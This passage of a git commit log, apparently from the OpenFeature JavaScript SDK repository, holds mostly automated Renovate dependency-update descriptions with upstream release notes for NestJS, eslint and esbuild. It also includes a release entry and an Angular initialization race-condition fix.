(thanks \[[@&#8203;G-Rath](https://redirect.github.com/G-Rath)])

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOC4xMjAuMSIsInVwZGF0ZWRJblZlciI6IjM4LjEyMC4xIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-10-21 20:45:14 +00:00
renovate[bot] 9b5a30ecb3
chore(deps): update nest monorepo to v10.4.5 (#1054)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@nestjs/common](https://nestjs.com)
([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/common))
| [`10.4.4` ->
`10.4.5`](https://renovatebot.com/diffs/npm/@nestjs%2fcommon/10.4.4/10.4.5)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fcommon/10.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fcommon/10.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fcommon/10.4.4/10.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fcommon/10.4.4/10.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
| [@nestjs/core](https://nestjs.com)
([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/core))
| [`10.4.4` ->
`10.4.5`](https://renovatebot.com/diffs/npm/@nestjs%2fcore/10.4.4/10.4.5)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fcore/10.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fcore/10.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fcore/10.4.4/10.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fcore/10.4.4/10.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
| [@nestjs/platform-express](https://nestjs.com)
([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/platform-express))
| [`10.4.4` ->
`10.4.5`](https://renovatebot.com/diffs/npm/@nestjs%2fplatform-express/10.4.4/10.4.5)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fplatform-express/10.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fplatform-express/10.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fplatform-express/10.4.4/10.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fplatform-express/10.4.4/10.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
| [@nestjs/testing](https://nestjs.com)
([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/testing))
| [`10.4.4` ->
`10.4.5`](https://renovatebot.com/diffs/npm/@nestjs%2ftesting/10.4.4/10.4.5)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2ftesting/10.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2ftesting/10.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2ftesting/10.4.4/10.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2ftesting/10.4.4/10.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>nestjs/nest (@&#8203;nestjs/common)</summary>

###
[`v10.4.5`](https://redirect.github.com/nestjs/nest/releases/tag/v10.4.5)

[Compare
Source](https://redirect.github.com/nestjs/nest/compare/v10.4.4...v10.4.5)

##### v10.4.5 (2024-10-16)

##### Dependencies

-   `platform-express`
- [#&#8203;14060](https://redirect.github.com/nestjs/nest/pull/14060)
build(express): upgrade to express 4.2.1
([@&#8203;ezintz](https://redirect.github.com/ezintz))
-   Other
- [#&#8203;13903](https://redirect.github.com/nestjs/nest/pull/13903)
chore(deps): bump ws and
[@&#8203;nestjs/graphql](https://redirect.github.com/nestjs/graphql) in
/sample/31-graphql-federation-code-first/posts-application
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))
- [#&#8203;13917](https://redirect.github.com/nestjs/nest/pull/13917)
chore(deps): bump micromatch from 4.0.4 to 4.0.8 in
/sample/32-graphql-federation-schema-first/posts-application
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))
- [#&#8203;14015](https://redirect.github.com/nestjs/nest/pull/14015)
chore(deps): bump find-my-way from 8.1.0 to 8.2.2 in /sample/10-fastify
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))
- [#&#8203;14039](https://redirect.github.com/nestjs/nest/pull/14039)
chore(deps): bump serve-static, express and
[@&#8203;nestjs/platform-express](https://redirect.github.com/nestjs/platform-express)
in /sample/23-graphql-code-first
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))
- [#&#8203;14040](https://redirect.github.com/nestjs/nest/pull/14040)
chore(deps): bump send,
[@&#8203;nestjs/platform-express](https://redirect.github.com/nestjs/platform-express)
and express in /sample/24-serve-static
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))
- [#&#8203;14034](https://redirect.github.com/nestjs/nest/pull/14034)
chore(deps): bump serve-static and
[@&#8203;nestjs/platform-express](https://redirect.github.com/nestjs/platform-express)
in /sample/28-sse
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))
- [#&#8203;14035](https://redirect.github.com/nestjs/nest/pull/14035)
chore(deps): bump send and
[@&#8203;nestjs/platform-express](https://redirect.github.com/nestjs/platform-express)
in /sample/28-sse
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))
- [#&#8203;14030](https://redirect.github.com/nestjs/nest/pull/14030)
chore(deps): bump send and
[@&#8203;nestjs/platform-express](https://redirect.github.com/nestjs/platform-express)
in /sample/25-dynamic-modules
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))
- [#&#8203;14031](https://redirect.github.com/nestjs/nest/pull/14031)
chore(deps): bump serve-static and
[@&#8203;nestjs/platform-express](https://redirect.github.com/nestjs/platform-express)
in /sample/25-dynamic-modules
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))
- [#&#8203;14026](https://redirect.github.com/nestjs/nest/pull/14026)
chore(deps): bump serve-static and
[@&#8203;nestjs/platform-express](https://redirect.github.com/nestjs/platform-express)
in /sample/26-queues
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))
- [#&#8203;14025](https://redirect.github.com/nestjs/nest/pull/14025)
chore(deps): bump send and
[@&#8203;nestjs/platform-express](https://redirect.github.com/nestjs/platform-express)
in /sample/26-queues
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))
-   `platform-fastify`
- [#&#8203;14064](https://redirect.github.com/nestjs/nest/pull/14064)
build(fastify): upgrade light-my-request to 6.1.0
([@&#8203;PattyTrish](https://redirect.github.com/PattyTrish))

##### Committers: 5

-   Eduard Zintz ([@&#8203;ezintz](https://redirect.github.com/ezintz))
- Fernando Vargas
([@&#8203;frndvrgs](https://redirect.github.com/frndvrgs))
- Micael Levi L. Cavalcante
([@&#8203;micalevisk](https://redirect.github.com/micalevisk))
- Patricia Ahern
([@&#8203;PattyTrish](https://redirect.github.com/PattyTrish))
- Rick Dutour Geerling
([@&#8203;tuxmachine](https://redirect.github.com/tuxmachine))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these
updates again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOC4xMjAuMSIsInVwZGF0ZWRJblZlciI6IjM4LjEyMC4xIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-10-21 20:44:44 +00:00
OpenFeature Bot 56369839b6
chore(main): release angular-sdk 0.0.5-experimental (#1053)
🤖 I have created a release *beep* *boop*
---


##
[0.0.5-experimental](https://github.com/open-feature/js-sdk/compare/angular-sdk-v0.0.4-experimental...angular-sdk-v0.0.5-experimental)
(2024-10-21)


### 🐛 Bug Fixes

* **angular:** fix race condition on initialization
([#1052](https://github.com/open-feature/js-sdk/issues/1052))
([12eaa97](12eaa9758d))


---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

---------

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2024-10-21 19:57:12 +00:00
Lukas Reining 12eaa9758d
fix(angular): fix race condition on initialization (#1052)
<!-- Please use this template for your pull request. -->
<!-- Please use the sections that you need and delete other sections -->

## This PR
<!-- add the description of the PR here -->

Fixes a race condition when the directive is first rendered.
Initially the initialization code in the constructor before the
`@Input`s were bound to the variables.
This meant that in some cases providers were called with `undefined` as
flag key, which most providers accept, but for flipt-web the engine
paniced due to the value being `unit` instead of a string.

---------

Signed-off-by: Lukas Reining <lukas.reining@codecentric.de>
2024-10-21 19:28:06 +00:00
renovate[bot] 8d0d0e6774
chore(deps): update dependency @types/node to v20.16.13 (#1050)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[@types/node](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node)
([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node))
| [`20.16.12` ->
`20.16.13`](https://renovatebot.com/diffs/npm/@types%2fnode/20.16.12/20.16.13)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fnode/20.16.13?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fnode/20.16.13?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fnode/20.16.12/20.16.13?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fnode/20.16.12/20.16.13?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOC4xMjAuMSIsInVwZGF0ZWRJblZlciI6IjM4LjEyMC4xIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-10-21 14:28:19 -04:00
renovate[bot] 39ca6d4d10
chore(deps): update dependency eslint-plugin-jsdoc to v50.4.3 (#1051)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[eslint-plugin-jsdoc](https://redirect.github.com/gajus/eslint-plugin-jsdoc)
| [`50.4.1` ->
`50.4.3`](https://renovatebot.com/diffs/npm/eslint-plugin-jsdoc/50.4.1/50.4.3)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/eslint-plugin-jsdoc/50.4.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/eslint-plugin-jsdoc/50.4.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/eslint-plugin-jsdoc/50.4.1/50.4.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/eslint-plugin-jsdoc/50.4.1/50.4.3?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>gajus/eslint-plugin-jsdoc (eslint-plugin-jsdoc)</summary>

###
[`v50.4.3`](https://redirect.github.com/gajus/eslint-plugin-jsdoc/releases/tag/v50.4.3)

[Compare
Source](https://redirect.github.com/gajus/eslint-plugin-jsdoc/compare/v50.4.2...v50.4.3)

##### Bug Fixes

- **text-escaping:** add missing `docs.description`
([9a93119](9a93119e42))

###
[`v50.4.2`](https://redirect.github.com/gajus/eslint-plugin-jsdoc/releases/tag/v50.4.2)

[Compare
Source](https://redirect.github.com/gajus/eslint-plugin-jsdoc/compare/v50.4.1...v50.4.2)

##### Bug Fixes

- **no-multi-asterisks:** add missing `docs.description`
([f6616c7](f6616c7393))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOC4xMjAuMSIsInVwZGF0ZWRJblZlciI6IjM4LjEyMC4xIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-10-21 14:28:04 -04:00
renovate[bot] 4849306173
chore(deps): update dependency eslint to v8.57.1 (#1049)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [eslint](https://eslint.org)
([source](https://redirect.github.com/eslint/eslint)) | [`8.57.0` ->
`8.57.1`](https://renovatebot.com/diffs/npm/eslint/8.57.0/8.57.1) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/eslint/8.57.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/eslint/8.57.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/eslint/8.57.0/8.57.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/eslint/8.57.0/8.57.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>eslint/eslint (eslint)</summary>

###
[`v8.57.1`](https://redirect.github.com/eslint/eslint/compare/v8.57.0...5b9414c501c58bfa85f41f96f821973c41e8ae74)

[Compare
Source](https://redirect.github.com/eslint/eslint/compare/v8.57.0...v8.57.1)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these
updates again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOC4xMjAuMSIsInVwZGF0ZWRJblZlciI6IjM4LjEyMC4xIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-10-21 17:58:25 +00:00
renovate[bot] f7eca3aaa3
chore(deps): update dependency @types/node to v20.16.12 (#1044)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[@types/node](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node)
([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node))
| [`20.16.5` ->
`20.16.12`](https://renovatebot.com/diffs/npm/@types%2fnode/20.16.5/20.16.12)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fnode/20.16.12?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fnode/20.16.12?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fnode/20.16.5/20.16.12?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fnode/20.16.5/20.16.12?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOC4xMjAuMSIsInVwZGF0ZWRJblZlciI6IjM4LjEyMC4xIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-10-21 13:58:57 -04:00
renovate[bot] 0527254402
chore(deps): update dependency @types/react to v18.3.11 (#1048)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[@types/react](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/react)
([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/react))
| [`18.3.7` ->
`18.3.11`](https://renovatebot.com/diffs/npm/@types%2freact/18.3.7/18.3.11)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2freact/18.3.11?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2freact/18.3.11?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2freact/18.3.7/18.3.11?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2freact/18.3.7/18.3.11?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOC4xMjAuMSIsInVwZGF0ZWRJblZlciI6IjM4LjEyMC4xIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-10-21 13:58:43 -04:00
renovate[bot] 699c356f8c
chore(deps): update dependency esbuild to ^0.24.0 (#944)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [esbuild](https://redirect.github.com/evanw/esbuild) | [`^0.20.0` ->
`^0.24.0`](https://renovatebot.com/diffs/npm/esbuild/0.20.2/0.24.0) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/esbuild/0.24.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/esbuild/0.24.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/esbuild/0.20.2/0.24.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/esbuild/0.20.2/0.24.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>evanw/esbuild (esbuild)</summary>

###
[`v0.24.0`](https://redirect.github.com/evanw/esbuild/blob/HEAD/CHANGELOG.md#0240)

[Compare
Source](https://redirect.github.com/evanw/esbuild/compare/v0.23.1...v0.24.0)

***This release deliberately contains backwards-incompatible changes.***
To avoid automatically picking up releases like this, you should either
be pinning the exact version of `esbuild` in your `package.json` file
(recommended) or be using a version range syntax that only accepts patch
upgrades such as `^0.23.0` or `~0.23.0`. See npm's documentation about
[semver](https://docs.npmjs.com/cli/v6/using-npm/semver/) for more
information.

- Drop support for older platforms
([#&#8203;3902](https://redirect.github.com/evanw/esbuild/pull/3902))

    This release drops support for the following operating system:

    -   macOS 10.15 Catalina

This is because the Go programming language dropped support for this
operating system version in Go 1.23, and this release updates esbuild
from Go 1.22 to Go 1.23. Go 1.23 now requires macOS 11 Big Sur or later.

Note that this only affects the binary esbuild executables that are
published to the esbuild npm package. It's still possible to compile
esbuild's source code for these older operating systems. If you need to,
you can compile esbuild for yourself using an older version of the Go
compiler (before Go version 1.23). That might look something like this:

        git clone https://github.com/evanw/esbuild.git
        cd esbuild
        go build ./cmd/esbuild
        ./esbuild --version

- Fix class field decorators in TypeScript if `useDefineForClassFields`
is `false`
([#&#8203;3913](https://redirect.github.com/evanw/esbuild/issues/3913))

Setting the `useDefineForClassFields` flag to `false` in `tsconfig.json`
means class fields use the legacy TypeScript behavior instead of the
standard JavaScript behavior. Specifically they use assign semantics
instead of define semantics (e.g. setters are triggered) and fields
without an initializer are not initialized at all. However, when this
legacy behavior is combined with standard JavaScript decorators,
TypeScript switches to always initializing all fields, even those
without initializers. Previously esbuild incorrectly continued to omit
field initializers for this edge case. These field initializers in this
case should now be emitted starting with this release.

- Avoid incorrect cycle warning with `tsconfig.json` multiple
inheritance
([#&#8203;3898](https://redirect.github.com/evanw/esbuild/issues/3898))

TypeScript 5.0 introduced multiple inheritance for `tsconfig.json` files
where `extends` can be an array of file paths. Previously esbuild would
incorrectly treat files encountered more than once when processing
separate subtrees of the multiple inheritance hierarchy as an
inheritance cycle. With this release, `tsconfig.json` files containing
this edge case should work correctly without generating a warning.

- Handle Yarn Plug'n'Play stack overflow with `tsconfig.json`
([#&#8203;3915](https://redirect.github.com/evanw/esbuild/issues/3915))

Previously a `tsconfig.json` file that `extends` another file in a
package with an `exports` map could cause a stack overflow when Yarn's
Plug'n'Play resolution was active. This edge case should work now
starting with this release.

- Work around more issues with Deno 1.31+
([#&#8203;3917](https://redirect.github.com/evanw/esbuild/pull/3917))

This version of Deno broke the `stdin` and `stdout` properties on
command objects for inherited streams, which matters when you run
esbuild's Deno module as the entry point (i.e. when `import.meta.main`
is `true`). Previously esbuild would crash in Deno 1.31+ if you ran
esbuild like that. This should be fixed starting with this release.

This fix was contributed by
[@&#8203;Joshix-1](https://redirect.github.com/Joshix-1).

###
[`v0.23.1`](https://redirect.github.com/evanw/esbuild/blob/HEAD/CHANGELOG.md#0231)

[Compare
Source](https://redirect.github.com/evanw/esbuild/compare/v0.23.0...v0.23.1)

- Allow using the `node:` import prefix with `es*` targets
([#&#8203;3821](https://redirect.github.com/evanw/esbuild/issues/3821))

The [`node:` prefix on
imports](https://nodejs.org/api/esm.html#node-imports) is an alternate
way to import built-in node modules. For example, `import fs from "fs"`
can also be written `import fs from "node:fs"`. This only works with
certain newer versions of node, so esbuild removes it when you target
older versions of node such as with `--target=node14` so that your code
still works. With the way esbuild's platform-specific feature
compatibility table works, this was added by saying that only newer
versions of node support this feature. However, that means that a target
such as `--target=node18,es2022` removes the `node:` prefix because none
of the `es*` targets are known to support this feature. This release
adds the support for the `node:` flag to esbuild's internal
compatibility table for `es*` to allow you to use compound targets like
this:

    ```js
    // Original code
    import fs from 'node:fs'
    fs.open

// Old output (with --bundle --format=esm --platform=node
--target=node18,es2022)
    import fs from "fs";
    fs.open;

// New output (with --bundle --format=esm --platform=node
--target=node18,es2022)
    import fs from "node:fs";
    fs.open;
    ```

- Fix a panic when using the CLI with invalid build flags if `--analyze`
is present
([#&#8203;3834](https://redirect.github.com/evanw/esbuild/issues/3834))

Previously esbuild's CLI could crash if it was invoked with flags that
aren't valid for a "build" API call and the `--analyze` flag is present.
This was caused by esbuild's internals attempting to add a Go plugin
(which is how `--analyze` is implemented) to a null build object. The
panic has been fixed in this release.

- Fix incorrect location of certain error messages
([#&#8203;3845](https://redirect.github.com/evanw/esbuild/issues/3845))

This release fixes a regression that caused certain errors relating to
variable declarations to be reported at an incorrect location. The
regression was introduced in version 0.18.7 of esbuild.

- Print comments before case clauses in switch statements
([#&#8203;3838](https://redirect.github.com/evanw/esbuild/issues/3838))

With this release, esbuild will attempt to print comments that come
before case clauses in switch statements. This is similar to what
esbuild already does for comments inside of certain types of
expressions. Note that these types of comments are not printed if
minification is enabled (specifically whitespace minification).

- Fix a memory leak with `pluginData`
([#&#8203;3825](https://redirect.github.com/evanw/esbuild/issues/3825))

With this release, the build context's internal `pluginData` cache will
now be cleared when starting a new build. This should fix a leak of
memory from plugins that return `pluginData` objects from `onResolve`
and/or `onLoad` callbacks.

###
[`v0.23.0`](https://redirect.github.com/evanw/esbuild/blob/HEAD/CHANGELOG.md#0230)

[Compare
Source](https://redirect.github.com/evanw/esbuild/compare/v0.22.0...v0.23.0)

***This release deliberately contains backwards-incompatible changes.***
To avoid automatically picking up releases like this, you should either
be pinning the exact version of `esbuild` in your `package.json` file
(recommended) or be using a version range syntax that only accepts patch
upgrades such as `^0.22.0` or `~0.22.0`. See npm's documentation about
[semver](https://docs.npmjs.com/cli/v6/using-npm/semver/) for more
information.

- Revert the recent change to avoid bundling dependencies for node
([#&#8203;3819](https://redirect.github.com/evanw/esbuild/issues/3819))

This release reverts the recent change in version 0.22.0 that made
`--packages=external` the default behavior with `--platform=node`. The
default is now back to `--packages=bundle`.

I've just been made aware that Amazon doesn't pin their dependencies in
their "AWS CDK" product, which means that whenever esbuild publishes a
new release, many people (potentially everyone?) using their SDK around
the world instantly starts using it without Amazon checking that it
works first. This change in version 0.22.0 happened to break their SDK.
I'm amazed that things haven't broken before this point. This revert
attempts to avoid these problems for Amazon's customers. Hopefully
Amazon will pin their dependencies in the future.

In addition, this is probably a sign that esbuild is used widely enough
that it now needs to switch to a more complicated release model. I may
have esbuild use a beta channel model for further development.

- Fix preserving collapsed JSX whitespace
([#&#8203;3818](https://redirect.github.com/evanw/esbuild/issues/3818))

When transformed, certain whitespace inside JSX elements is ignored
completely if it collapses to an empty string. However, the whitespace
should only be ignored if the JSX is being transformed, not if it's
being preserved. This release fixes a bug where esbuild was previously
incorrectly ignoring collapsed whitespace with `--jsx=preserve`. Here is
an example:

    ```jsx
    // Original code
    <Foo>
      <Bar />
    </Foo>

    // Old output (with --jsx=preserve)
    <Foo><Bar /></Foo>;

    // New output (with --jsx=preserve)
    <Foo>
      <Bar />
    </Foo>;
    ```

###
[`v0.22.0`](https://redirect.github.com/evanw/esbuild/blob/HEAD/CHANGELOG.md#0220)

[Compare
Source](https://redirect.github.com/evanw/esbuild/compare/v0.21.5...v0.22.0)

**This release deliberately contains backwards-incompatible changes.**
To avoid automatically picking up releases like this, you should either
be pinning the exact version of `esbuild` in your `package.json` file
(recommended) or be using a version range syntax that only accepts patch
upgrades such as `^0.21.0` or `~0.21.0`. See npm's documentation about
[semver](https://docs.npmjs.com/cli/v6/using-npm/semver/) for more
